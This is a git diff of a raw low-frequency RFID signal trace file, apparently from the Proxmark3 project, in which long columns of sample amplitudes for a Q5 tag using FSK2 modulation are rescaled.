+-58 +58 +127 +123 +16 +-76 +-128 +-128 +-59 +55 +127 +124 +13 +-75 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +56 +127 +124 +16 +-76 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +56 +127 +123 +16 +-76 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-59 +54 +127 +125 +12 +-78 +-128 +-128 +-56 +55 +127 +122 +13 +-76 +-128 +-128 +-57 +55 +127 +125 +17 +-79 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-59 +54 +-38 +-104 +-98 +10 +111 +5 +-71 +-100 +13 +109 +6 +-86 +-108 +7 +98 +-4 +-78 +-112 +4 +103 +-1 +-93 +-112 +4 +101 +-1 +-75 +-111 +4 +101 +-1 +-91 +-110 +5 +102 +-1 +-75 +-110 +5 +101 +0 +-91 +-110 +4 +101 +-1 +-76 +-111 +5 +102 +-1 +-92 +-110 +5 +99 +-2 +-77 +-111 +5 +102 +0 +-91 +-110 +5 +101 +-1 +-76 +-111 +5 +102 +-1 +-92 +-110 +5 +101 +-1 +-75 +-110 +5 +103 +0 +-91 +-111 +4 +100 +-2 +-76 +-111 +5 +103 +0 +-92 +-110 +4 +102 +0 +-75 +-111 +5 +101 +0 +-92 +-110 +5 +102 +-1 +-76 +-110 +5 +102 +0 +-92 +-110 +5 +102 +0 +-75 +-111 +5 +102 +0 +-91 +-110 +5 +103 +0 +-75 +-110 +5 +100 +127 +127 +23 +-67 +-128 +-128 +-64 +50 +127 +120 +11 +-80 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-55 +56 +127 +124 +14 +-79 +-128 +-128 +-58 +56 +127 +122 +14 +-75 +-128 +-128 +-58 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +124 +15 +-78 +-128 +-128 +-58 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +54 +127 +120 +11 +-80 +-128 +-128 +-60 +54 +127 +124 +13 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +15 +-79 +-128 +-128 +-57 +57 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +15 +-75 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-78 +-128 +-128 +-57 +54 +127 +122 +13 +-76 +-128 +-128 +-56 +54 +127 +121 +12 +-80 +-128 +-128 +-57 +57 +127 +126 +17 +-78 +-128 +-128 +-56 +58 +-38 +-101 +-110 +12 +110 +4 +-70 +-97 +15 +105 +0 +-88 +-107 +8 +100 +-4 +-73 +-110 +4 +97 +-4 +-94 +-111 +6 +103 +-2 +-78 +-111 +4 +102 +0 +-91 +-110 +5 +101 +-1 +-76 +-111 +5 +104 +0 +-91 +-110 +5 +100 +-2 +-76 +-111 +4 +102 +-1 +-91 +-111 +4 +100 +-2 +-76 +-111 +5 +102 +0 +-91 +-110 +5 +103 +0 +-75 +-110 +5 +100 +-1 +-92 +-111 +4 +104 +0 +-75 +-110 +6 +98 +-6 +-94 +-111 +5 +104 +-1 +-77 +-110 +5 +103 +0 +-91 +-110 +5 +102 +0 +-76 +-111 +5 +102 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +5 +103 +0 +-91 +-111 +4 +102 +0 +-75 +-110 +5 +102 +0 +-91 +-110 +5 +103 +0 +-75 +-110 +5 +101 +0 +-91 +-111 +4 +102 +-1 +-75 +-110 +5 +102 +0 +-92 +-110 +4 +102 +0 +-75 +-110 +5 +99 +-2 +-93 +-111 +5 +104 +0 +-76 +-110 +5 +102 +0 +-90 +-110 +5 +102 +-1 +-76 +-111 +5 +103 +0 +-90 +-110 +5 +102 +0 +-76 +-110 +5 +104 +0 +-91 +-110 +4 +100 +-2 +-76 +-111 +4 +103 +127 +127 +24 +-67 +-128 +-128 +-65 +49 +127 +120 +11 +-81 +-128 +-128 +-57 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +123 +16 +-76 +-128 +-128 +-60 +57 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +122 +12 +-78 +-128 +-128 +-60 +58 +127 +122 +13 +-76 +-128 +-128 +-57 +57 +127 +125 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +13 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +122 +15 +-75 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-76 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +15 +-80 +-128 +-128 +-59 +53 +127 +124 +12 +-79 +-128 +-128 +-57 +56 +127 +124 +17 +-79 +-128 +-128 +-55 +55 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +15 +-77 +-128 +-128 +-58 +56 +127 +122 +14 +-80 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +123 +16 +-77 +-128 +-128 +-57 +56 +127 +124 +14 +-79 +-128 +-128 +-58 +56 +127 +121 +12 +-80 +-128 +-128 +-59 +55 +127 +122 +13 +-80 +-128 +-128 +-56 +58 +127 +124 +15 +-76 +-128 +-128 +-55 +57 +-38 +-101 +-110 +11 +109 +4 +-69 +-97 +17 +108 +3 +-86 +-106 +10 +101 +-1 +-76 +-108 +4 +96 +-6 +-95 +-112 +5 +103 +-2 +-78 +-111 +4 +102 +0 +-91 +-111 +4 +101 +-1 +-76 +-111 +5 +103 +0 +-91 +-110 +5 +101 +-1 +-76 +-111 +5 +104 +0 +-90 +-110 +5 +101 +-1 +-76 +-111 +4 +102 +0 +-91 +-111 +5 +100 +127 +127 +23 +-67 +-128 +-128 +-65 +50 +127 +120 +10 +-81 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-58 +54 +127 +126 +14 +-79 +-128 +-128 +-60 +56 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-58 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 diff --git a/traces/lf_Q5_mod-fsk2.pm3 b/traces/lf_Q5_mod-fsk2.pm3 index 6043b6323..d0866d612 100644 --- a/traces/lf_Q5_mod-fsk2.pm3 +++ b/traces/lf_Q5_mod-fsk2.pm3 @@ -1,24000 +1,24000 @@ -136 -132 -27 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -134 -26 --58 --119 --119 --66 -60 -136 -133 -25 --58 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -130 -29 --57 --119 --119 --64 -64 -136 -132 -29 --58 --119 --119 --64 -65 -136 -130 -26 --60 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -26 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -132 -27 --59 --119 --119 --64 -63 -136 -133 -28 --60 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --119 --57 -71 -136 -136 -136 -85 --12 --92 --119 --119 --68 -55 -136 -136 -136 -70 --25 --89 --119 --119 --95 -47 -136 -136 -136 -64 --31 --93 --119 --119 --101 -41 -136 -136 -136 -59 --34 --96 --119 --119 --89 -40 -136 -136 -136 -56 --37 --97 --119 --119 --89 -36 -136 -136 -136 -55 --38 --100 --119 --119 --92 -35 -136 -136 -136 -53 --39 --100 --119 --119 --92 -35 -136 -136 -136 -53 --39 --100 --119 --119 --93 -33 -136 -136 -136 -53 --40 --101 --119 --119 --92 -32 -136 -136 -136 -49 --42 --100 --119 --119 --93 -33 -136 -136 -136 -52 --40 --101 --119 --119 --94 -35 -136 -136 -136 -49 --42 --100 --119 --119 --93 -31 -136 -136 -136 -50 --39 --101 --119 --119 --95 -35 -136 -136 -136 -52 --40 --101 --119 --119 --92 -33 -136 -136 -136 -51 --39 --101 --119 --119 --95 -31 -136 -136 -136 -50 --38 --102 --119 --119 --94 -32 -136 -136 -136 -51 --42 --99 --119 --119 --94 -34 -136 -136 -136 -52 --40 --101 --119 --119 --94 -35 -136 -136 -136 -52 --40 --101 --119 --99 -24 -119 -92 --7 --89 --119 --119 --93 -37 -135 -109 -8 --60 --119 --119 --79 -47 -136 -118 -15 --70 --119 --119 --74 -54 -136 -122 -19 --67 --119 --119 --71 -59 -136 127 -21 --63 --119 --119 --71 -57 -136 -129 -22 --61 --119 --119 --66 -62 -136 -130 -25 --61 --119 --119 --65 -64 -136 -132 -25 --59 --119 --119 --63 -63 -136 -131 -26 --61 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --63 -66 -136 -135 -27 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -26 --59 --119 --119 --62 -63 -136 -129 -26 --58 --119 --119 --64 -65 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --65 -61 -136 -131 -26 --62 --119 --119 --65 -65 -136 -132 -27 --59 --119 --119 --63 -65 -136 -133 -28 --60 --119 --119 --65 -63 -136 -131 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --64 -65 -136 -133 -27 --61 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --119 --58 -69 -136 -136 -136 -84 --11 --92 --119 --119 --68 -55 -136 -136 -136 -67 --26 --103 --119 --119 --99 -44 -136 -136 -136 -63 --30 --93 --119 --119 --103 -41 -136 -136 -136 -59 --35 --96 --119 --119 --90 -39 -136 -136 -136 -55 --37 --98 --119 --119 --91 -37 -136 -136 -136 -53 --39 --100 --119 --119 --92 -35 -136 -121 -21 --69 --119 --119 --61 -49 -136 -114 -12 --73 --119 --119 --61 -49 -136 -121 +123 18 -68 --119 --119 --70 -55 -136 -125 -22 --64 --119 --119 --68 -58 -136 -127 -24 --63 --119 --119 --67 -61 -136 -126 -25 --60 --119 --119 --65 -62 -136 -129 -25 --61 --119 --119 --64 -63 -136 -130 -27 --60 --119 --119 --64 -62 -136 -131 -26 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -65 -136 -130 -27 --60 --119 --119 --63 -63 -136 -131 -28 --59 --119 --119 --63 -62 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -133 -29 --59 --119 --119 --63 -62 -136 -133 -26 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --65 -62 -136 -129 -26 --62 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --61 --119 --119 --62 -62 -136 -132 -27 --60 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --62 -61 -136 -129 -25 --62 --119 --119 --65 -60 -136 -133 -26 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --57 --119 --119 --66 -60 -136 -132 -25 --59 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -27 --58 --119 --119 --62 -62 -136 -128 -25 --62 --119 --119 --65 -62 -136 -129 -26 --62 --119 --119 --65 -61 -136 -132 -27 --61 --119 --119 --66 -64 -136 -129 -27 --57 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --64 -64 -136 -130 -27 --59 --119 --119 --61 -62 -136 -129 -26 --59 --119 --119 --67 -61 -136 -130 -25 --58 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -29 --58 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --62 -61 -136 -127 -25 --62 --119 --119 --66 -61 -136 -133 -26 --58 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --61 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -28 --60 --119 --119 --63 -63 -136 -136 -136 -58 --35 --94 --119 --119 --93 -50 -136 -136 -136 -67 --27 --103 --119 --119 --97 -45 -136 -136 -136 -60 --33 --95 --119 --119 --103 -39 -136 -136 -136 -57 --36 --98 --119 --119 --89 -38 -136 -136 -136 -55 --38 --98 --119 --119 --92 -37 -136 -136 -136 -53 --39 --101 --119 --119 --93 -34 -136 -136 -136 -53 --41 --99 --119 --98 -25 -119 -92 --7 --89 --119 --119 --92 -37 -134 -110 -8 --61 --119 --119 --80 -47 -136 -118 -15 +-128 +-128 -71 --119 --119 +56 +127 +124 +19 +-68 +-128 +-128 -72 -54 -136 -123 -19 --66 --119 --119 --70 -59 -136 -125 -23 --63 --119 --119 --66 -58 -136 -126 -24 --60 --119 --119 --66 -63 -136 -132 -26 --62 --119 --119 --64 -62 -136 -131 -26 --61 --119 --119 --64 -62 -136 -131 -28 --59 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --61 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -134 -26 --57 --119 --119 --65 -62 -136 -130 -26 --62 --119 --119 --119 --59 -72 -136 -136 -136 -84 --13 --92 --119 --119 --68 -57 -136 -136 -136 -69 --24 --89 --119 --119 --95 -48 -136 -136 -136 -62 --31 --93 --119 --119 --101 -41 -136 -136 -136 -57 --36 --96 --119 --119 --88 -37 -136 -136 -136 -57 --36 --97 --119 --119 --91 -37 -136 -136 -136 -54 --39 --100 --119 --119 --91 -35 -136 -123 -19 --67 --119 --119 --59 -49 -136 -115 -13 --73 --119 --119 --61 -51 -136 -120 -18 --68 --119 --119 --71 -54 -136 -125 -22 --64 --119 --119 --68 -58 -136 -126 -23 --63 --119 --119 --66 -60 -136 -129 -25 --62 --119 --119 --65 -63 -136 -128 -25 --60 --119 --119 --63 -61 -136 -130 -26 --59 --119 --119 --62 -62 -136 -131 -29 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --64 -65 -136 -132 -29 --59 --119 --119 --62 -63 -136 -131 -27 --61 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --62 -62 -136 -128 -25 --60 --119 --119 --66 -65 -136 -129 -27 --57 --119 --119 --65 -65 -136 -131 -30 --60 --119 --119 --67 -60 -136 -132 -25 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --65 -62 -136 -128 -25 --62 --119 --119 --66 -63 -136 -130 -26 --57 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -29 --60 --119 --119 --65 -62 -136 -130 -29 --57 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --63 -66 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -27 --58 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --67 -62 -136 -131 -26 --58 --119 --119 --65 -64 -136 -136 -136 -58 --34 --95 --119 --119 --93 -49 -136 -136 -136 -67 --27 --102 --119 --119 --99 -45 -136 -136 -136 -60 --34 --94 --119 --119 --102 -39 -136 -136 -136 56 --36 --98 --119 --119 --91 -38 -136 -136 -136 -55 --36 --98 --119 --119 --90 -35 -136 -136 -136 -51 --40 --98 --119 --119 --93 -35 -136 -136 -136 -53 --39 --100 --119 --99 -27 -120 -91 --7 --89 --119 --119 --92 -36 -135 -109 -7 --61 --119 --119 --79 -48 -136 -118 -15 --71 --119 --119 --74 -55 -136 -123 -22 --68 --119 --119 --71 -59 -136 -126 -22 --64 --119 --119 --67 -57 -136 +127 125 -23 --60 --119 --119 --66 -60 -136 -128 -26 --60 --119 --119 --65 -63 -136 -130 -26 --61 --119 --119 --119 --58 -69 -136 -136 -136 -83 --14 --92 --119 --119 --68 -55 -136 -136 -136 -67 --27 --103 --119 --119 --97 -47 -136 -136 -136 -61 --32 --92 --119 --119 --102 -41 -136 -136 -136 -59 --34 --96 --119 --119 --89 -38 -136 -136 -136 -54 --36 --97 --119 --119 --91 -34 -136 -136 -136 -51 --41 --98 --119 --100 -23 -123 -94 --9 --88 --119 --119 --92 -38 -134 -109 -9 --59 --119 --119 --80 -49 -136 -120 -14 --68 --119 --119 --73 -52 -136 -119 17 -67 --119 --119 --73 -58 -136 -124 -21 --61 --119 --119 --69 -59 -136 -129 -26 --63 --119 --119 --66 -62 -136 -128 -26 --60 --119 --119 --65 -61 -136 -130 -25 --61 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --63 -62 -136 -130 -28 --59 --119 --119 --64 -64 -136 -131 -28 --59 --119 --119 --64 -65 -136 -133 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --62 -63 -136 -133 -30 --61 --119 --119 --65 -64 -136 -131 -29 --58 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -133 -27 --59 --119 --119 --62 -64 -136 -134 -29 --59 --119 --119 --62 -62 -136 -133 -25 --58 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -132 -29 --59 --119 --119 --63 -64 -136 -131 -26 --61 --119 --119 --64 -65 -136 -131 -29 --59 --119 --119 --66 -62 -136 -131 -25 --57 --119 --119 --64 -65 -136 -132 -30 --60 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --64 -64 -136 -133 -27 --59 --119 --119 --65 -63 -136 -130 -29 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --64 -66 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -29 --59 --119 --119 --62 -64 -136 -133 -27 --60 --119 --119 --63 -64 -136 -135 -26 --57 --119 --119 --65 -61 -136 -133 -25 --60 --119 --119 --119 --61 -69 -136 -136 -136 -84 --10 --94 --119 --119 --69 -57 -136 -136 -136 -70 --25 --88 --119 --119 --97 -47 -136 -136 -136 -62 --32 --94 --119 --119 --103 -43 -136 -136 -136 -55 --37 --95 --119 --119 --88 -36 -136 -136 -136 -53 --36 --99 --119 --119 --91 -35 -136 -136 -136 -54 --39 --100 --119 --119 --92 -37 -136 -121 -21 --65 --119 --119 --61 -46 -136 -112 -11 +-128 +-128 -75 --119 --119 --64 -47 -136 -121 +51 +127 +124 16 -67 --119 --119 --71 -56 -136 -124 -21 --65 --119 --119 --67 -59 -136 -126 -23 --63 --119 --119 --65 -61 -136 -129 -25 --61 --119 --119 --65 -61 -136 -131 -27 --60 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -62 -136 -136 -136 -59 --35 --96 --119 --119 --95 -52 -136 -136 -136 -68 --27 --89 --119 --119 --97 -44 -136 -136 -136 -61 --33 --95 --119 --119 --103 -40 -136 -136 -136 -56 --35 --97 --119 --119 --89 -37 -136 -136 -136 +-128 +-128 +-72 55 --37 --98 --119 --119 --90 -35 -136 -136 -136 -53 --39 --99 --119 --119 --91 -33 -136 -136 -136 -53 --40 --101 --119 --119 --93 -34 -136 -136 -136 -52 --39 --100 --119 --119 --92 -32 -136 -136 -136 -50 --42 --101 --119 --119 --95 -32 -136 -136 -136 -50 --40 --99 --119 --119 --95 -36 -136 -136 -136 -51 --41 --101 --119 --119 --93 -34 -136 -136 -136 -53 --39 --101 --119 --119 --93 -34 -136 -136 -136 -52 --40 --100 --119 --119 --93 -33 -136 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 121 +20 +-66 +-128 +-128 +-73 +55 +127 +123 +20 +-67 +-128 +-128 +-73 +56 +127 +121 +17 +-69 +-128 +-128 +-72 +54 +127 +123 18 -68 --119 --119 --60 -49 -136 -113 -11 --73 --119 --119 --62 -51 -136 -121 -16 --68 --119 --119 --71 +-128 +-128 +-72 55 -136 -124 -21 --65 --119 --119 --69 -59 -136 127 -23 --63 --119 --119 --66 -61 -136 -129 -25 --62 --119 --119 --66 -63 -136 -131 -24 --59 --119 --119 --64 -62 -136 -130 -26 --60 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -62 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -26 --61 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -26 --60 --119 --119 --62 -63 -136 -131 -30 --58 --119 --119 --67 -61 -136 -131 -25 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -28 --58 --119 --119 --62 -64 -136 -133 -27 --60 --119 --119 --61 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -130 -28 --59 --119 --119 --62 -62 -136 -130 -26 --60 --119 --119 --63 -62 -136 -132 -27 --61 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --61 --119 --119 --64 -65 -136 -132 -27 --59 --119 --119 --66 -60 -136 -132 -26 --61 --119 --119 --67 -64 -136 -129 -26 --57 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -63 -136 -130 -29 --59 --119 --119 --63 -62 -136 -132 -29 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -133 -26 --58 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -26 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --64 -65 -136 -133 -27 --60 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --65 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --65 -65 -136 -131 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -63 -136 -133 -26 --58 --119 --119 --63 -62 -136 -130 -29 --59 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -65 -136 -130 -28 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --62 -61 -136 -128 -25 --61 --119 --119 --65 -60 -136 -132 -25 --60 --119 --119 --63 -61 -136 -128 -25 --62 --119 --119 --65 -61 -136 -133 -26 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --65 -64 -136 -133 -28 --59 --119 --119 --65 -63 -136 -130 -29 --57 --119 --119 --67 -59 -136 -132 -25 --59 --119 --119 --63 -65 -136 -130 -27 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --64 -66 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --65 -63 -136 -133 -27 --58 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -63 -136 -133 -29 --59 --119 --119 --63 -63 -136 -131 -28 --58 --119 --119 --63 -63 -136 -132 -26 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -27 --61 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --65 -65 -136 -130 -29 --61 --119 --119 --67 -63 -136 -130 -26 --58 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --62 -62 -136 -128 -25 --62 --119 --119 --67 -63 -136 -129 -25 --58 --119 --119 --63 -65 -136 -132 -28 --60 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -132 -29 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -64 -136 -133 -27 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -26 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -29 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -28 --59 --119 --119 --63 -62 -136 -132 -27 --60 --119 --119 --62 -64 -136 -131 -28 --60 --119 --119 --65 -62 -136 -131 -27 --62 --119 --119 --66 -63 -136 -130 -26 --58 --119 --119 --64 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -133 -26 --58 